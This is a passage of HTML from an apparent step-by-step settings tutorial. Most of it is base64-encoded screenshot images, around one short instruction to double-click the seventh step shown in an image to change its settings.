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" /></div>
<div align="center" class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: center;">
<span style="mso-fareast-language: EN-IN; mso-no-proof: yes;"></span><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;"><br />
</span><b><span style="font-family: "Times New Roman","serif"; font-size: 18.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">3.</span></b><span style="font-family: "Times New Roman","serif"; font-size: 12.0pt; mso-fareast-font-family: "Times New Roman"; mso-fareast-language: EN-IN;">When you reach the <b><span style="color: #b45f06;">7th step</span></b> in the above image then <b><span style="color: #b45f06;">double click</span></b> on it to change its settings as
shown below.</span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br />
<img alt="" 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al0Op1JZzAZTCaDyWAwmUwWk8lisDnM+AR2fAInIZGTlBTP5SYmcxNTUrj8FF4qn5/KT01LTU9Ly8hIy8zIyMrKyM3Oys/Nys/Lzc/Ly8vPzysoyBcICgoLC4VCYXFxcUlJiUgkEolEYrFYIpFIpVKZTKaQK5VypVKB/apUCpVKqdJpdXqtXqfV6bR6nVav1+oNOr3JoDcbdVaTwWo22iwmwGICrCbAYgJtZgiwwKAVBm0QYIUAC2C1QDYAgWAIAAGrDbQBCAQjEAyDEHaBEcXsAIIgKIKgCGpHMSIoCiPwTMj7TmlHUTsK2Z0I7EIBO+gptdu1ioMra3/dvuXKimV3G2p7Gmp7VtXcr136tL62r3H547rqofX1+32ulW7nqfZD62vqYKl+kaf85/aOHSuWrQa1fVvrexsW9jUsftqw9OnqJY8aFvesXnq7YdnNpobrO7Y65RIHZEOd7nyD/0Bb58CzwUgk8odIJJIJ1wWCoWAoXB6uCgbKw6Gw11PqcqBBvy8cCIf9leWByvJAeTjgCwU9fn+pP+D3BPwOt8uOIi6n3eFA7ajdjqBlbofP43SXumEUBgCz0wE5HYjTgTgd8HvOaNJhRx0o4kCRmVvYYYftdhi1Q6gdQuwQjILREQtGYBiCIAiEIBACQRAEQBACAQQEYRACQQgCIRgAEAiCIRiygYDZDBjNVqvNYrGabDaL1QKZTGYQNJmMeplEIRFLlAqpTq026nQWvd6k0Rg1ap1arVGrNRq5Wi1XKtVKpUaJdSKFUi5XSqRysUgiFovFIolYJCkSCgsLCwsLC4sLhbmZWWmpaQUCQX5BXl5ebm5ObnZ2dmZ2ZmZWVlZmVlpaalpaaio/jc9L5aWkJXP5XG5qUhI/MZGXkJgSn8CNT0jixCewOfEsNpvJei8VOpNBo9OpdBqVRqPQqBQalUylkClkEoVMJJOIJCKBiMMTYjHi8DHvSYjBEWLwhFgCMe49SXgSlUykUEhUKplGI9GoZBqVTKfSWHQ6m0Fn0xkcBoNDZ8YzmBwGJ4GdkBiflBifmBSfxE3gcpO43CReSgo/lZ+ampaWnp6RkZWVmZudnZuVnZ2Vk52dm5Obl5eXn18gKBAUCgqFwqLiouKS4mJRScmMZRRLJBKpXCpVyWQquUytUGiUCo1CqVEqNUqlVqXSaTQGrdZk0JmNeovRaDIZjRajyWwym01my/tfi8VssZotVrPFZrHaLDab1WYxm0EARBEEsAFWiwUAAAiCYAieRQiGIAiEEAhGETsK2+2I3Y447IjDYXc67U6nw2VHHXbEgSJ2O+pw2l1u1F4GI2WY2UChMhRCZKL9ixZea6w/WxW8ubiye3F5d3XoZnXo7tJwzxLvg4Wlz1bMu1hdvsykv3Koa2r0zbb1W548ePyk516dEz7otj1YVXFvifv+otKehWUPqsvuLSj7tdp3fWHw8tIFl5vX2EuEPjtUURnKhOsiM3gvxWBFIFQRDFdUhsJVpR7vylUrjxztmj9/nrfMHw7OqwgvqKiYFw4HgsFSn9/t9ZW5PKWr6up2bd/e2FC3d8+uYCDgROxlLnupE0FRtLKqcveubeGg146CDjvssGOaRJ0OxI7CDjvssCNOB+qwI3YUtqOw04E6UbsTQe0IgsAwgiIoiiCoHUEdMGqHIASGEQhGYBBBIBQEYRCEIdABgggIgjCEwDAKQ3YQRAAAAADQZoUtZpvFYgYAwGQyWSw2q9Vm0GsAq3Xn9l2XL1w4f/pEuS+oU6jMWrVBpTBrNHqNTqVSqzRytUahUGtlSq1cIZfJJRKpXCJTiaRykVgiFklKRNLi4pKioiKBsLBQXJSZlRkMBhubGovExRnZWZk52Vk5mZnZWalZmSnpqfw0Po/P5/F4vBReMpfHTeQlJvASElMSEpI58dx4DpfNSWKxEpgsDoPJpjNZdAaTzmDS6AwanUGh0SlUGplKI5EpJBKFSCITiCQ8gYQnEPFEPIGIwxPj8IRYPD4WR4jF4WJw+Bg8PhaHj8UT4ghEHJ6IIxJxBBKeSCYRSGQimUIkU0gUMolKIVEpFDqVyqDRmHQ6i8Fg0xhsOpPDYHHYLA6bE89JSIxPTEpMSuZyk5O5yclJ3OTkZF4Kj5+amp6WlpGenpmemZWRmZ2ZlZOVk5ubl5+XV1BQIMgXFGKKLBQWC4uKhUXFxcXYjFUiEsklEoVMplIo1CqVXqnWyeVqhUKjVGrVar1GY9RpTXqdxaA36/Vmg95iNFqNBqvRaDUarWYTYDYBJqPNaLCajDaLGbRYQCtgA0AbAAJWwGYDARAGARAAIACAABB+3zsgGIJgCIQg8P0sCoZBGIEQjHYYtSMY7XbE7kDspQjqAxEPBLtRxA2DQQRyS0v2VYZ+Wb7ojA+9HnLcCMLdYeRmOXq7AnpYATwNA09D8KNl81qDXrdQuG/9hqnJd1euXAAV0g2w7fHiirtB8G6lrSdsfRCwPgwA9/zAr374mg+9VOG9UlfrFOYHINuCqvDnpFhVGqjweEMBbzDs8YcOHekafj28bfuWMl+pPxhwezyBYMAX8JR67WVet8vltAK2LZu33Pzlenkw4HY7Fi+sPn30VEXAhwJmwAbU1q64++utefPKDQadyWQ0Gg0WsxmBYQgETSYjBgRBbDarXq8zGnUwaEMByKwzGTQGtUoD2EAUdSCIEwLtRoNVqdQa9RarBTQZrDCImE1WnUZvNYMGnUGllBv0eqvZopSr1UqVUilVyKX1q+pb9+/XalRKlVKmkIulYp1Bq1ApEATp7u7eumXjzh1bzp88YzNahQXZ4qI8nUIuKZbm5QkLC4VSqUQs0+QKRLl5BTm5+YWFkmKxMiuvMD09Jy01u1AoTsvMoTOYKp1yX8deiVySkZEtUYjTclMTeCkUOo0VT09OSybSaXFkAoNFTUzgpCQnpSQmchOTkuITExOS4+MT2ax4FiuezYxnMjhMOovBYNDpDBqVSaUyqRQGhcKgkOlkEp1MopOINCKBSiJQiXgKEU/B48gEHBmPI+FxBBwOH4fD4+LwcTh8XAwuLg6Hi8Pj4vB4HAEfR8DhCAQckYAnEvFkLC+JQCWTKGQShUyiUsk0KplGpdBoVDqdSmfQGAwak8lgMZlsFpPNYcfHcxLi4xMT4hMTE5ITE1K4iTxuEj+Fm8pLTuOlpKfyM9PSstLTszPSc7Iz87Kz8nOzC3JzBPl5woL8IkFBsVBQIiwUFQvFxUUSUbFIVCIWiyQSiUwmkytkSoVcoZApFHKFUqFSKdVqlUar1mm1Bq1Wr9UZtDqjTm8yGM0YjUaL0Wgxmqwmk9VstlmsgMUKWgCrGTCZAJMZNFshqxWyWuH3tGFEAAABQBSEYGztAsAQOJsIPCNKBEJRGEVhJwq7EcTlQB0uxIEC5S4YLcxeZ9bsNyo2pHP25yS1ZrHas5mHclldeexT+eyzeQnHcxLbRHmbdEptPHtDzeJIZOL08S4pL2mVqKizKPdIXtLxouRjBQnHchN+zk3szE5oz+G2ZKVsys/cDVpsydywzbK44nNSDJQ7QpWecEW5w+mZX730xOnTR44eOXq8y+N1zFtQuX371mAwUFOzZNPmdf6Ar7Gxsf1Qx4VzFy6euVAVKq9bWXu44/DEq4kjba1+t91msdUuX/HrrZtlZZ7KyspDhw4dOHCgoqLCYrEuX17b1dW1a/futWvXonZ0WU1NZ2fngQP73S6Hx+Hcvvmn/S17D7YeDAWCFosNglCrBaiuXtzZ2bW2cd3K2lW1y1eaTdagL9TU2OxA3RvXbz7YesDv9YWD5RuaN+3fu2/71s1ul/3s6TOvxkZrl9eEwuU79+zdtvMnxI5IpAoIdly5ciUYLNNplffu3PeXhupXLtvfstXr8vhKA62tHdu3b7OYTCqNqbZubfP65p07dlktCDclwxMIbd/WsrBqSV6ucFnNysbGpo7Dh56PDa7fsEmnNXt87vScVAuIbt66PVwRSE5NLguGt+zY7g96kxLZCfEMbhInMYHNZjE4LBaHzWGz3i8IsdUgnU6l06lUKo1CplPIdDKJRibRSEQaiUglEakEPIWApxDwZDzuPXE4UlwcPsrYWBxG7BaHI0SJjyMQ8WQSnkzCkcl4MplAJuPJZCKFSqRSSVQaiUYj0+hkOoPCoFMZDDqLwWCxGCwWi81mcdjseA4nPiGemxCfnJSQkpTIS46qkZeeys9IS81MT8vKSM/OzMjNyszNyc7Pyy2MqrFQUCIsFBUVlRQXFxUXF4lExWKxSCIRS6USqVQik0llMqlcLlMqFWq1UqNRazQarVar1ep1Or1OZzAYTEajOUqTyWIyWcxmq9UKWGw2s9VssZktNrMVsFgBiw20ApAN+8UIwkCUEATAmE2cxagOo1K02xGHwwE7UdiFOJxwuQuGctNXq8Q7pYI1zLgdCfg9CbGtSbFtiTEd8TFHk+KOc4lHkmlb0xJCXE7r0upXfU8O7W/pv3v74r6WBZmpW5OZh/n0ozxKVxKxIx7fnkDYz8bv5pA2sSkNSayNSpmRzaiwWReFg5+Roj9QWlEZqqqc53SUbdy0tfPwz+Xl5SdPHl9UvbC+vr6vt8/rKWvZuePq5YurG1bfuN59oPXg7Vu/nj52Zsv6jTd++aX9QPvje0/2bPvJ60QhAF21ov7C2bOLqqsvX/7lYHtHe0fnqdNnF1Yv/uXajQOtbZcuX71y7dqy5csuXbm8Z9/eE6dOdnS01S5Z/GZ0pG3/vmtXLx/qaAMA